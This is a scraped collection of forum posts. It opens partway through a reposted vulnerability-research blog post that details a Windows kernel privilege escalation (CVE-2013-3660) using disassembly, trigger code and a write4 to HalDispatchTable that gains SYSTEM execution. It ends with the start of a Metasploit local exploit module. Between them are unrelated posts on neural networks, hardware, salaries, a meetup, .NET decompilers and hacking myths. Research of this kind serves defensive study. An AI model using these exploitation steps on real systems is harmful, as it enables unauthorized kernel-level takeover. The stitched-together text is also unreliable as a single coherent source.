.text:0011724C mov [ebx+8], eax // newPathRecord->flags = eax The system initializes all the PATHRECORD fields EXCEPT the next field, which may contain other data than 0 in the case the record was returned by the "win32k!PATHALLOC::freelist" linked list. Even though the system later initializes this field, there exists a branch that allows skipping this initialization in the case of a memory allocation failure: .text:001171E0 win32k!EPATHOBJ::pprFlattenRec ... .text:001E984C call EPATHOBJ::newpathrec .text:001E9851 cmp eax, 1 .text:001E9854 jnz short loc_1E9801 // taken if allocation failed ... .text:001E9801 xor eax, eax .text:001E9803 jmp loc_117371 ... .text:00117371 loc_117371: ... .text:0011737E leave .text:0011737F retn 4 The "win32k!EPATHOBJ::newpathrec()" method returns 0 in the case it cannot satisfy the memory allocation request. This happens when the "win32k!PATHALLOC::freelist" is empty, and "nt!ExAllocatePoolWithTag()" fails to allocate more memory. In this case, a PATHRECORD object containing an invalid next pointer has just been inserted into the linked list of PATHRECORD structures. Eventually a second call to "win32k!NtGdiFlattenPath()" will trigger an access violation when trying to dereference the record's next pointer in "win32k!EPATHOBJ::bFlatten()": .text:0011602C win32k!EPATHOBJ::bFlatten .text:0011602C .text:0011602C mov edi, edi .text:0011602E push ecx .text:0011602F mov eax, [esi+8] .text:00116032 test eax, eax .text:00116034 jz short loc_11605B .text:00116036 mov eax, [eax+14h] // Dereference invalid next pointer .text:00116039 .text:00116039 loc_116039: .text:00116039 test eax, eax .text:0011603B jz short loc_116053 .text:0011603D test byte ptr [eax+8], 10h // Crash here! 2. Exploitation on Windows 8 (32bit) 2.1 Controlling Uninitialized Pointer Exploiting this vulnerability requires controlling the value of the uninitialized next pointer. In order to do so, two conditions must be met when "win32k!EPATHOBJ::bFlatten" is called: 1) The first call to "win32k!EPATHOBJ::newpathrec()", must succeed and return a controlled PATHRECORD object from "win32k!PATHALLOC::freelist", which will be linked to the current PATHRECORD list. 2) The next call to "win32k!EPATHOBJ::newpathrec()" must fail due to memory exhaustion and exit the "win32k!EPATHOBJ::bFlatten()" function, leaving the next pointer uninitialized. The first step can be easily achieved by using the following piece of code: for (i = 0; i < 8192; i++) { points[i].x = 0x41414141 >> 4; points[i].y = 0x41414141 >> 4; pointTypes[i] = 0x10; } /* First call to PolyDraw fills exactly one page with controlled data. */ BeginPath(hDevice); PolyDraw(hDevice, points, pointTypes, 498); EndPath(hDevice); The "PolyDraw()" function will eventually lead to call "win32k!EPATHOBJ::newpathrec()" which will allocate a new 0xFC0h bytes chunk which will be filled with POINT structures containing 0x041414140 for x and y fields. The newly allocated chunk thus has the following layout in memory: kd> dd ecx + 0xc 82ad0014 00000000 00000000 00000017 000001f2 82ad0024 41414140 41414140 41414140 41414140 82ad0034 41414140 41414140 41414140 41414140 82ad0044 41414140 41414140 41414140 41414140 82ad0054 41414140 41414140 41414140 41414140 82ad0064 41414140 41414140 41414140 41414140 82ad0074 41414140 41414140 41414140 41414140 82ad0084 41414140 41414140 41414140 41414140 The "PolyDraw()" function is called a second time, but with a lower number of points in parameter: /* On BeginPath() previously allocated data is freed to the freelist. */ BeginPath(hDevice); /* Freed memory is reallocated during PolyDraw() call without memory being memset()ed thus the returned memory area is filled with user-controlled data.*/ PolyDraw(hDevice, points, pointTypes, 483); By doing this, the allocated chunk will be freed to the freelist, and immediately reallocated, this time with less points in the POINT array. The chunk layout is now as follows: kd> dd ecx + 0xc 82ad0014 00000000 82ad0f44 00000017 000001e3 82ad0024 41414140 41414140 41414140 41414140 82ad0034 41414140 41414140 41414140 41414140 82ad0044 41414140 41414140 41414140 41414140 82ad0054 41414140 41414140 41414140 41414140 82ad0064 41414140 41414140 41414140 41414140 82ad0074 41414140 41414140 41414140 41414140 82ad0084 41414140 41414140 41414140 41414140 ... 82ad0f44 41414140 41414140 41414140 41414140 The value 0x82AD0F44 is thus returned by "win32k!EPATHOBJ::newpathrec()", the vulnerable initialization code is then entered, and inserts the new PATHRECORD object into the PATHRECORD linked list: .text:001171E0 win32k!EPATHOBJ::pprFlattenRec ... .text:00117228 mov ebx, [ebp+newPathRecord] .text:0011722E mov esi, [ebp+currentPathRecord] .text:00117234 mov eax, [esi+4] // eax = currentPathRecord->prev .text:00117237 mov [ebx+4], eax // newPathRecord->prev= eax .text:0011723A lea eax, [ebx+0Ch] // eax = &(newPathRecord->records[]) .text:0011723D and dword ptr [eax], 0 // records[0] = 0 .text:00117240 mov [ebp+newPathRecord], eax .text:00117246 mov eax, [esi+8] // eax = currentPathRecord->flags .text:00117249 and eax, 0FFFFFFEFh .text:0011724C mov [ebx+8], eax // newPathRecord->flags = eax .text:0011724F cmp dword ptr [ebx+4], 0 .text:00117253 mov [ebp+var_F4], ebx .text:00117259 jz loc_117382 ... .text:00117382 mov eax, [edi+8] .text:00117385 mov [eax+14h], ebx // Set new record as head of the linked list The code will then try to flatten the PATHRECORD linked list, and eventually land on the following piece of code: .text:001E9841 lea ebx, [ebp+var_100] .text:001E9847 mov edi, edx .text:001E9849 mov [eax+4], ecx .text:001E984C call EPATHOBJ::newpathrec // Allocate a new PATHRECORD .text:001E9851 cmp eax, 1 .text:001E9854 jnz short loc_1E9801 // If allocation failed, leave function ... .text:001E9801 xor eax, eax .text:001E9803 jmp loc_117371 ... .text:00117371 loc_117371: ... .text:0011737E leave .text:0011737F retn 4 Since no more memory is available, the call to "win32k!EPATHOBJ::newpathrec()" fails. The function thus does not initialize the next pointer of the newly created PATHRECORD structure, which is now controlled by the attacker. Contrary to what was publicly stated, there is no race condition involved in this exploit. Even though a PATHRECORD with the next pointer set to 0x41414140 has been inserted in the list of PATHRECORD, nothing happens as far as the "win32k!EPATHOBJ::bFlatten()" method is not entered with this particular PATHRECORD list. Before triggering the access violation, the kernel memory is freed in order for all the subsequent calls to "win32k!newpathalloc()" to succeed: /* Trigger the bug: Insert crafted "next" pointer into PATHRECORD structure list */ FlattenPath(hDevice); /* Free memory: Let the kernel breath. */ while (NumRegion) DeleteObject(Regions[--NumRegion]); /* Trigger invalid pointer dereference. */ FlattenPath(hDevice); A second call to "FlattenPath()" thus triggers the access violation: .text:0011602C win32k!EPATHOBJ::bFlatten .text:0011602C .text:0011602C mov edi, edi .text:0011602E push ecx .text:0011602F mov eax, [esi+8] .text:00116032 test eax, eax .text:00116034 jz short loc_11605B .text:00116036 mov eax, [eax+14h] // Dereference invalid next pointer .text:00116039 .text:00116039 loc_116039: .text:00116039 test eax, eax .text:0011603B jz short loc_116053 .text:0011603D test byte ptr [eax+8], 10h // Crash here! eax == 0x41414140 2.2 Achieving Write4 Now that the next pointer is controlled, the goal will be to achieve a write-4 memory corruption by inserting a fake record into the PATHRECORD linked list. In order to craft a fake PATHRECORD, the next pointer is made to point into VirtuaAlloc()ed memory in userland containing a PATHRECORD structure: PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); /* Craft PATHRECORD structures. */ PathRecord->prev = 0; PathRecord->next = (PPATHRECORD)&ExploitRecord; PathRecord->flags = 0; ExploitRecord.next = 0x41414141 >> 4; ExploitRecord.prev = 0x42424242 >> 4; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; The code will process PathRecord object. Since the flag value is 0, the "win32k!EPATHOBJ::pprFlattenRec()" function is not entered. The next pointer is dereferenced, pointing to the ExploitRecord object. This time, since the PD_BEZIERS (0x10) flag is enabled, the object is processed by "win32k!EPATHOBJ::pprFlattenRec()": .text:0011602C mov edi, edi .text:0011602E push ecx .text:0011602F mov eax, [esi+8] .text:00116032 test eax, eax .text:00116034 jz short loc_11605B .text:00116036 mov eax, [eax+14h] // Get head of linked list .text:00116039 .text:00116039 loc_116039: .text:00116039 test eax, eax .text:0011603B jz short loc_116053 .text:0011603D test byte ptr [eax+8], 10h // is PATHRECORD a Bezier curve .text:00116041 jz short loc_11604F .text:00116043 push eax .text:00116044 mov ecx, esi .text:00116046 call EPATHOBJ::pprFlattenRec .text:0011604B test eax, eax .text:0011604D jz short loc_11605B .text:0011604F .text:0011604F loc_11604F: .text:0011604F mov eax, [eax] // move to next PATHRECORD .text:00116051 jmp short loc_116039 "win32k!EPATHOBJ::pprFlattenRec()" is then entered with the crafted PATHRECORD object: .text:00117202 lea esi, [ebp+var_F8] .text:00117208 lea ebx, [ebp+newPathRecord] .text:0011720E mov [ebp+var_EC], edi .text:00117214 mov [ebp+currentPathRecord], eax .text:0011721A call EPATHOBJ::newpathrec // succeeds because memory .text:0011721F cmp eax, 1 // was given back to kernel .text:00117222 jnz loc_1E9801 .text:00117228 mov ebx, [ebp+newPathRecord] // Address of record in ebx .text:0011722E mov esi, [ebp+currentPathRecord] .text:00117234 mov eax, [esi+4] .text:00117237 mov [ebx+4], eax // set next pointer .text:0011723A lea eax, [ebx+0Ch] .text:0011723D and dword ptr [eax], 0 .text:00117240 mov [ebp+newPathRecord], eax .text:00117246 mov eax, [esi+8] .text:00117249 and eax, 0FFFFFFEFh .text:0011724C mov [ebx+8], eax .text:0011724F cmp dword ptr [ebx+4], 0 .text:00117253 mov [ebp+var_F4], ebx .text:00117259 jz loc_117382 .text:0011725F mov eax, [ebx+4] .text:00117262 mov [eax], ebx // write4 corruption As we can see, the write4 operation has been successfully achieved. However, even if the content of the ebx register is controlled, its address is not, since it has been returned by "win32k!newpathalloc()" and is thus a pointer located in kernel land. Since the vulnerability allows controlling where data will be copied but not what will be copied, two different approaches have been used respectively for 32bit and 64bit architectures. In this blog, we will focus on the 32bit approach. 2.3 Finalizing Exploitation On x86, a pointer located at nt!HalDispatchTable+0x4 will be targeted for the write4 corruption. After the corruption has taken place, a call to "NtQueryIntervalProfile" will trigger the overwritten pointer and redirect the execution flow: PAGE:007631D1 nt!KeQueryIntervalProfile PAGE:007631D1 PAGE:007631D1 mov edi, edi PAGE:007631D3 push ebp PAGE:007631D4 mov ebp, esp PAGE:007631D6 sub esp, 14h PAGE:007631D9 cmp eax, 1 PAGE:007631DC jz short loc_763202 PAGE:007631DE mov [ebp+var_14], eax PAGE:007631E1 lea eax, [ebp+var_4] PAGE:007631E4 push eax PAGE:007631E5 lea eax, [ebp+var_14] PAGE:007631E8 push eax PAGE:007631E9 push 10h PAGE:007631EB push 1 PAGE:007631ED call off_5CCF2C // xHalQuerySystemInformation The kernel will then proceed to jump on the PATHRECORD since, on x86, pages allocated by "win32k!newpathalloc()" are executable and the kernel data located in the PATHRECORD happens to correspond to the value of the PATHRECORD next pointer. Since the crafted PATHRECORD is the last one of the PATHRECORD chain, the next pointer is NULL and the kernel will crash. One has to craft a PATHRECORD chain such that the PATHRECORD used to overwrite the nt!HalDispatchTable+4 pointer is not the last one of the chain. The next pointer must point to a PATHRECORD which needs to be located at an address such that this address translates to valid x86 opcode sequences. A good candidate sequence was found by Tavis: inc eax jmp [ebp + 0x40h] This translates into the dword 0x40FF6540 which can be mapped in userland. This address must contain a valid PATHRECORD which ends the chain. [ebp + 0x40h] is actually the location on the stack of the second argument of NtQueryIntervalProfile which is a pointer to a shellcode mapped in userland, leading to code execution with SYSTEM privileges on Windows 8 and prior. Reliable code execution can also be achieved on 64bit systems despite all exploit mitigations in place including SMEP (Supervisor Mode Execution Protection), however, we leave this as an exercice for the reader. Another exercice would be to turn this vulnerability into a sandbox escape which can be used with Google Chrome or Adobe Acrobat / Reader. © Copyright VUPEN Security Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Windows Kernel Privilege Escalation (CVE-2013-3660 / MS13-053)
  5. What Does a Neural Network Actually Do? There has been a lot of renewed interest lately in neural networks (NNs) due to their popularity as a model for deep learning architectures (there are non-NN based deep learning approaches based on sum-products networks and support vector machines with deep kernels, among others). Perhaps due to their loose analogy with biological brains, the behavior of neural networks has acquired an almost mystical status. This is compounded by the fact that theoretical analysis of multilayer perceptrons (one of the most common architectures) remains very limited, although the situation is gradually improving. To gain an intuitive understanding of what a learning algorithm does, I usually like to think about its representational power, as this provides insight into what can, if not necessarily what does, happen inside the algorithm to solve a given problem. I will do this here for the case of multilayer perceptrons. By the end of this informal discussion I hope to provide an intuitive picture of the surprisingly simple representations that NNs encode. I should note at the outset that what I will describe applies only to a very limited subset of neural networks, namely the feedforward architecture known as a multilayer perceptron. There are many other architectures that are capable of very different representations. Furthermore, I will be making certain simplifying assumptions that do not generally hold even for multilayer perceptrons. I find that these assumptions help to substantially simplify the discussion while still capturing the underlying essence of what this type of neural network does. I will try to be explicit about everything. Let’s begin with the simplest configuration possible: two inputs node wired to a single output node. Our NN looks like this: The label associated with a node denotes its output value, and the label associated with an edge denotes its weight. The topmost node represents the output of this NN, which is: In other words, the NN computes a linear combination of the two inputs and , weighted by and respectively, adds an arbitrary bias term and then passes the result through a function , known as the activation function. There are a number of different activation functions in common use and they all typically exhibit a nonlinearity. The sigmoid activation , plotted below, is a common example. As we shall see momentarily, the nonlinearity of an activation function is what enables neural networks to represent complicated input-output mappings. The linear regime of an activation function can also be exploited by a neural network, but for the sake of simplifying our discussion even further, we will choose an activation function without a linear regime. In other words, will be a simple step function: This will allow us to reason about the salient features of a neural network without getting bogged down in the details. In particular, let’s consider what our current neural network is capable of. The output node can generate one of two values, and this is determined by a linear weighting of the values of the input nodes. Such a function is a binary linear classifier. As shown below, depending on the values of and , one regime in this two-dimensional input space yields a response of (white) and the other a response of (shaded): Let’s now add two more output nodes (a neural network can have more than a single output). I will need to introduce a bit of notation to keep track of everything. The weight associated with an edge from the node in the first layer to the node in the second layer will be denoted by . The output of the node in the layer will be denoted by . Thus and . Every output node in this NN is wired to the same set of input nodes, but the weights are allowed to vary. Below is one possible configuration, where the regions triggering a value of are overlaid and colored in correspondence with the colors of the output nodes: So far we haven’t really done anything, because we just overlaid the decision boundaries of three linear classifiers without combining them in any meaningful way. Let’s do that now, by feeding the outputs of the top three nodes as inputs into a new node. I will hollow out the nodes in the middle layer to indicate that they are no longer the final output of the NN. The value of the single output node at the third layer is: Let’s consider what this means for a moment. Every node in the middle layer is acting as an indicator function, returning or depending on where the input lies in . We are then taking a weighted sum of these indicator functions and feeding it into yet another nonlinearity. The possibilities may seem endless, since we are not placing any restrictions on the weight assignments. In reality characterizing the set of NNs (with the above architecture) that exhibit distinct behaviors does require a little bit of work–see Aside–but the point, as we shall see momentarily, is that we do not need to worry about all such possibilities. One specific choice of assignments already gives the key insight into the representational power of this type of neural network. By setting all weights in the middle layer to , and setting the bias of the middle layer to , the activation function of the output neuron will output whenever the input lies in the intersection of all three half-spaces defined by the decision boundaries, and otherwise. Since there was nothing special about our choice of decision boundaries, we are able to carve out any arbitrary polygon and have the NN fire precisely when the input is inside the polygon (in the general case we set the weights to , where is the number of hyperplanes defining the polygon). This fact demonstrates both the power and limitation of this type of NN architecture. On the one hand, it is capable of carving out decision boundaries comprised of arbitrary polygons (or more generally polytopes). Creating regions comprised of multiple polygons, even disjoint ones, can be achieved by adding a set of neurons for each polygon and setting the weights of their respective edges to , where is the number of hyperplanes defining the polygon. This explains why, from an expressiveness standpoint, we don’t need to worry about all possible weight combinations, because defining a binary classifier over unions of polygons is all we can do. Any combination of weights that we assign to the middle layer in the above NN will result in a discrete set of values, up to one unique value per region formed by the union or intersection of the half-spaces defined by the decision boundaries, that are inputted to the node. Since the bias can only adjust the threshold at which will fire, then the resulting behavior of any weight assignment is activation over some union of polygons defined by the shaded regions. Thus our restricted treatment, where we only consider weights equal to , already captures the representational power of this NN architecture. Several caveats merit mention. First, the above says nothing about representational efficiency, only power. A more thoughtful choice of weights, presumably identified by training the NN using backpropagation, can provide a more compact representation comprised of a smaller set of nodes and edges. Second, I oversimplified the discussion by focusing only on polygons. In reality, any intersection of half-spaces is possible, even ones that do not result in bounded regions. Third, and most seriously, feedforward NNs are not restricted to step functions for their activation functions. In particular modern NNs that utilize Rectified Linear Units (ReLUs) most likely exploit their linear regions. Nonetheless, the above simplified discussion illustrates a limitation of this type of NNs. While they are able to represent any boundary with arbitrary accuracy, this would come at a significant cost, much like the cost of polygonally rendering smoothly curved objects in computer graphics. In principle NNs with sigmoidal activation functions are universal approximators, meaning they can approximate any continuous function with arbitrary accuracy. In practice I suspect that real NNs with a limited number of neurons behave more like my simplified toy models, carving out sharp regions in high-dimensional space, but on a much larger scale. Regardless NNs still provide far more expressive power than most other machine learning techniques and my focus on disguises the fact that even simple decision boundaries, operating in high-dimensional spaces, can be surprisingly powerful. Before I wrap up, let me highlight one other aspect of NNs that this “union of polygons” perspective helps make clear. It has long been known that an NN with a single hidden layer, i.e. the three-layer architecture discussed here, is equal in representational power to a neural network with arbitrary depth, as long as the hidden layer is made sufficiently wide. Why this is so is obvious in the simplified setting described here, because unions of sets of unions of polygons can be flattened out in terms of unions of the underlying polygons. For example, consider the set of polygons formed by the following 10 boundaries: We would like to create 8 neurons that correspond to the 8 possible activation patterns formed by the polygons (i.e. fire when input is in none of them (1 case), one of them (3 cases), two of them (3 cases), or any of them (1 case)). In the “deep” case, we can set up a four-layer NN such that the second layer defines the edges, the third layer defines the polygons, and the fourth layer contains the 8 possible activation patterns: The third layer composes the second layer, by creating neurons that are specific to each closed region. However, we can just as well collapse this into the following three-layer architecture, where each neuron in the third layer “rediscovers” the polygons and how they must be combined to yield a specific activation pattern: Deeper architectures allow deeper compositions, where more complex polygons are made up of simpler ones, but in principle all this complexity can be collapsed onto one (hidden) layer. There is a difference in representational efficiency however, and the two architectures above illustrate this important point. While the three-layer approach is just as expressive as the four-layer one, it is not as efficient: the three-layer NN has a 2-10-8 configuration, resulting in 100 parameters (20 edges connecting first to second layer plus 80 edges connecting second to third layer), while the four-layer NN, with a 2-10-3-8 configuration, only has 74 parameters. Herein lies the promise of deeper architectures, by enabling the inference of complex models using a relatively small number of parameters. In particular, lower-level features such as the polygons above can be learned once and then reused by higher layers of the network. That’s it for now. I hope this discussion provided some insight into the workings of neural networks. If you’d like to read more, see the Aside, and I also recommend this blog entry by Christopher Olah which takes a topological view of neural networks. Sursa: What Does a Neural Network Actually Do? « Some Thoughts on a Mysterious Universe
  6. VoCore: A coin-sized Linux computer with wifi What is VoCore? VoCore is a coin-sized Linux computer with wifi. It is also able to work as a full functional router. It runs OpenWrt on top of Linux. It contains 32MB SDRAM, 8MB SPI Flash and using RT5350(360MHz MIPS) as its heart. It provides many interfaces such as 10/100M Ethernet, USB, UART, I2C, I2S, PCM, JTAG and over 20 GPIOs but its size is less than one square inch(25mm x 25mm). What can You DO with VoCore? 1. Wireless a USB device such as printer, scanner, hard disk, camera and etc. 2. A remote control robot with camera. 3. A portable VPN router. 4. A wireless speaker. 5. A offline downloader. 6. WIFI -> TTL(or Serial Port) to control Arduino remotely. ... And many many possibilities, awaiting discovery! What will You Get? You will not only get the VoCore but also its full hardware design including sch, pcb, bom; full source code including boot loader, os(openwrt), applications. You are able to control EVERY BIT of your VoCore. Sursa: https://www.indiegogo.com/projects/vocore-a-coin-sized-linux-computer-with-wifi
  7. Termina facultatea. Conteaza cand se uita altii pe CV. Si primesti si vreo 16% in plus la salariu daca o ai, deducere de impozit.
  8. Daca nu ai mai lucrat la nicio firma nu cred ca iti da nimeni mai mult de 2000 RON/luna, 8h/zi. Poate doar cu bulan. Bine, salariile cresc ok in domeniu, in 6-12 luni e posibil sa ajungi pe la 30, iar in 2 ani pe la 50-60.
  9. Nytro

    RST Teambuilding

    Cine nu mi-a dat inca numarul, sa mi-l dea.
  10. Nytro

    RST Teambuilding

    Dati PM. Da. Aduci si tu o sticla de whiskey.
  11. Nytro

    RST Teambuilding

    Dati-mi voi PM. PS: Aduceti cate o sticla de whiskey sau vodka.
  12. Salut, Pentru cei din Bucuresti, weekend-ul acesta vom face un mic "teambuilding". Sa zicem Bem si facem porcarii. Cine ar vrea sa participe sa ma contacteze. Dati PM sau postati aici. PS: Doar cei care deja ne cunoastem pot participa. Poate exceptii pentru membri care s-au facut remarcati. Discutam. @Andrei ? Anatol? Cyborgu? Chelu? Eek?
  13. Nytro

    ILSpy

    ILSpy is the open-source .NET assembly browser and decompiler. Development started after Red Gate announced that the free version of .NET Reflector would cease to exist by end of February 2011. ILSpy requires the .NET Framework 4.0. Important links: Discussion forum Issue Tracker ILSpy plugin list Build server [h=2]ILSpy Features[/h] Assembly browsing IL Disassembly Support C# 5.0 "async" Decompilation to C# Supports lambdas and 'yield return' Shows XML documentation [*]Decompilation to VB [*]Saving of resources [*]Save decompiled assembly as .csproj [*]Search for types/methods/properties (substring) [*]Hyperlink-based type/method/property navigation [*]Base/Derived types navigation [*]Navigation history [*]BAML to XAML decompiler [*]Save Assembly as C# Project [*]Find usage of field/method [*]Extensible via plugins (MEF) [*]Assembly Lists [h=2]Screenshots[/h] Viewing IL (Build 199) Navigating Types (Build 199) Saving Resources (Build 199) Decompiling a Type to C# (Build 199) Decompiling method with 'yield return' (Build 528) Sursa: ILSpy
  14. Nytro

    tangerine

    [h=1]Tangerine[/h] Tangerine is a tool for inspecting Windows Phone applications. Based on XAPSpy. It allows you to do three things: Automate all routine work with XAP files (parsing, deploying etc.) Log method calls, including parameters values and return values Run your own code on method enter, on method exit or instead of a method Change parameters values using method code Supports both Windows Phone 7 and Windows Phone 8 applications. Current limitations on functions for instrumentating: only managed application assemblies get instrumented does not support functions with user types (e.g. custom type Product) does not support out parameters does not support method overloads Minimum requirements: .NET Framework 4.0, Windows Phone SDK 7.0 More detailed documentation will be uploaded. Contributors: Andrey Chasovskikh Evgeny Bechkalo Dmitriy Evdokimov Sursa: https://github.com/andreycha/tangerine
  15. Nytro

    XAML Spy

    [h=3]Save valuable time[/h] Spending too much time trying to figure out issues in your app's user interface? Use XAML Spy, and you will know the answer in minutes. [h=3]Real-time[/h] XAML Spy provides a real-time view of your app's state. Examine and modify the properties of any element on-the-fly and see the changes reflected immediately in the running app. [h=3]No more secrets[/h] Do you want to browse files in the isolated storage? Want access to the UI automation tree? Need to understand your app's visual tree? Use XAML Spy, it's all there. [h=3]Platform support[/h] With full Silverlight, Windows Phone, Windows Store and WPF support, XAML Spy is here to help you get your app to the market quickly. No matter whether you are developing for the desktop, web, mobile or tablet. [h=3]Proven technology[/h] XAML Spy uses and extends the Silverlight Spy technology. Silverlight Spy is the defacto standard for visually debugging Silverlight and Windows Phone apps. Silverlight Spy users will notice many similarities and enjoy a great number of new features and improvements. [h=3]Evaluate[/h] Are you into Silverlight, Windows Phone. Windows Store or WPF app development? Try XAML Spy for free and see how it can assist you in understanding how your app really works. Download: XAML Spy Sursa: XAML Spy
  16. [h=2].NET Reflector 8[/h] [h=2]Look inside any .NET code[/h] ?Debugging your application Follow bugs through your application to see where your problems lie – whether it's in your own code, third-party libraries, or components used by your application. [*]?Understand how applications work Inherited applications with little or no documentation or comments are hard to develop. Use .NET Reflector to understand how the code runs and avoid bugs. [*]?SharePoint and other third-party platforms Like many third-party platforms, SharePoint APIs and libraries aren't always well-documented. With .NET Reflector you can look inside their assemblies and see how they work and which APIs you can call. Download: .NET Reflector - Download Sursa: .NET Reflector - Understand and debug any .NET code
  17. ImgMount Tool v.1.0.15 Description: Mounts FFU Image file as a virtual hard drive. After an image is mounted, Windows partitions can be accessed like a regular volume. Usage: ImgMount <ImageFile> Supported images: - FFU v.2.0 (Lumia 920, Lumia 820 ...) Supported OS: - Windows 7 - Windows 8 - Windows XP not supported Attached Files [TABLE] [TR] [TD][/TD] [TD]ImgMount.zip - [Click for QR Code] (49.2 KB, 6127 views)[/TD] [/TR] [/TABLE] Sursa: (FFU) ImgMount Tool v.1.0.15 - xda-developers
  18. [h=2]Try JustDecompile[/h] The free .NET decompiler that helps you recover lost source code or peer into assemblies Proven 10 times faster than competitors 72 hours support through our forums [h=4]Download JustDecompile for free[/h] Download installer Sursa: JustDecompile Download
  19. Pe 2 iunie, 2014 începând cu ora 19:00 TechHub Bucharest g?zduie?te a treia edi?ie Sparks, eveniment ce î?i propune s? adune speciali?ti ?i pasiona?i din domeniul securit??ii informatice pentru a discuta despre cele mai noi amenin??ri la adresa infrastructurilor ce le de?inem, construim sau administr?m. A treia edi?ie debuteaz? cu Ionut Popescu, Penetration Tester la KPMG cu prezentarea “Introduction to shellcode development” ?i Vali-Marius Malinoiu, Technical Expert la SparkWare Technologies ce va prezenta un studiu intitulat “Thief vs Hacker: Hacker went fishing”. Info: Sparks #3 » Sparks
  20. Liceanul ce sparge serverele NASA Mihai Badici mai 17, 2014 Una din legendele urbane autohtone este cea a liceanului genial care a reu?it s? sparg? serverele unor institu?ii de prestigiu, cel mai adesea NASA. Nu ?tiu de ce serverele NASA apar cel mai adesea în aceste pove?ti; presupun c? adev?rata “performan??” ar fi s? penetrezi un server al NSA sau FBI înainte de a î?i bate la poart? un desant de masca?i c?lare pe un F16, îns? de la aselenizare încoace NASA a r?mas în imaginarul colectiv ca depozitara ultim? a înaltei tehnologii. Evident, agen?ia chiar dispune de tehnologii de vârf ?i are contribu?ii însemnate în lumea IT, dat fiind specificul activit??ii. Totu?i, obiectul ei de activitate este explorarea spa?iului, nicidecum administrarea de servere, iar restric?iile bugetare de dup? terminarea r?zboiului rece ( ce se va întâmpla acum, dup? începerea celui de-al doilea, r?mâne de aflat) s-au v?zut ?i în activitatea ei. Drept pentru care putem presupune c? institu?ia nu exagereaz? cu cheltuielile în domeniu, cum poate c? o f?cea odinioar?. Oricine administreaz? un server cu acces public ?tie c? zi de zi orice serviciu instalat este supus atacurilor de tot felul, log-urile acestora sunt pline de astfel de înregistr?ri. Majoritatea acestora sunt mai degrab? benigne, e vorba de atacuri de tip “brute-force” la parolele diverselor conturi. Mecanismul e simplu: exist? dic?ionare de useri ?i parole; atacatorul porne?te un program care le va încerca pe toate cele din dic?ionar. Dac? parola dumneavoastr? este 1234, va reu?i în câteva minute, dac? nu, va încerca iar ?i iar. Un alt tip de atacuri, un pic mai sofisticat, se bazez? pe vulnerabilit??i cunoscute. De exemplu, atacatorul ?tie c? WordPress, platforma pe care e construit Contributors, are o vulnerabilitate în versiunea x. Cineva a scris un “exploit”, adic? un program care ?tie s? profite de aceast? vulnerabilitate, iar atacatorul va folosi acest exploit pur ?i simplu prin încercare pe orice server care ruleaz? un serviciu web. Dac? merge, bine, dac? nu, trecem la urm?torul. Ideea este c? toate aceste atacuri nu implic? o mare pricepere din parta atacatorului. E drept c? trebuie s? fie relativ familiarizat cu func?ionarea Internetului, s? ?tie s? foloseasc? un scaner de porturi, dar în esen?? el va rula un program scris de altcineva, disponibil pe “pia?a neagr?” a Internetului, eventual la schimb cu alte informa?ii. “Genialul licean” trebuie doar s? aib? la dispozi?ie un computer ?i o conexiune la Internet bun?. In plus mult, mult timp liber, eventual cu binecuvântarea p?rin?ilor convin?i c? faptul c? lipse?te de la orele de Limba Român? îl vor ajuta în viitoarea carier? de informatician. De cealalt? parte a baricadei , administratorul de sistem este un om ocupat, mai ales c? reducerile bugetare probabil c? l-au afectat ?i pe el. In teorie, el ?tie c? o anumit? versiune a unui software este vulnerabil?, îns? este supus mai multor condi?ion?ri. Este posibil ca upgrade-ul s? necesite o serie de teste premerg?toare care necesit? timp, sau poate c? o anumit? aplica?ie nu func?ioneaza pe versiunea nou? ?i trebuie rescris o parte din cod. Poate pur ?i simplu are o alt? opera?iune critic? în desf??urare ?i a amânat upgrade-ul cu dou? zile. Sau poate c? firma care de?ine serverul nu ?i-a pl?tit contractul de mentenan?? drept pentru care administratorul a decis s? nu mai aplice patch-urile. Evident c? în aceast? confruntare, cei care au mai mult timp de obicei câ?tig?. Ori, atacatorii sunt mul?i ( dup? cum ar?tam anterior, nu trebuie s? ?tii prea multe) ?i au o gr?mad? de timp la dispozi?ie. Spre deosebire de administratori, care sunt lega?i de o organiza?ie ?i supu?i constrângerilor acesteia, ei nu dau socoteal? nim?nui ?i nu au altceva mai bun de f?cut. Din acest motiv, orice plan bun de securitate pleac? de la ipoteza c? o astfel de situa?ie se va întâmpla la un moment dat ?i se axeaz? (?i) pe m?surile de luat în astfel de eventualit??i. Publicul îns? este avid de astfel de ?tiri. Uneori poli?ia ajunge la poarta atacatorului dup? primele scan?ri, atunci când atacatorul este suficient de naiv încât s? atace un server guvernamental de la adresa proprie de IP. De aici, de la ?în?ar pân? la arm?sar e doar un pas, iar de la gura satului pân? la titlul mare din ziar despre înc? un tân?r genial care a spart (din nou) un server NASA, nici m?car atât. Sursa: Liceanul ce sparge serverele NASA | Contributors
  21. [h=1]Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)[/h] ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)', 'Description' => %q{ A kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe, achieving privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox. NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nils', #Original Exploit 'Jon', #Original Exploit 'Donato Capitella <donato.capitella[at]mwrinfosecurity.com>', # Metasploit Conversion 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' # Help and Encouragement ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows 7 SP0/SP1', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 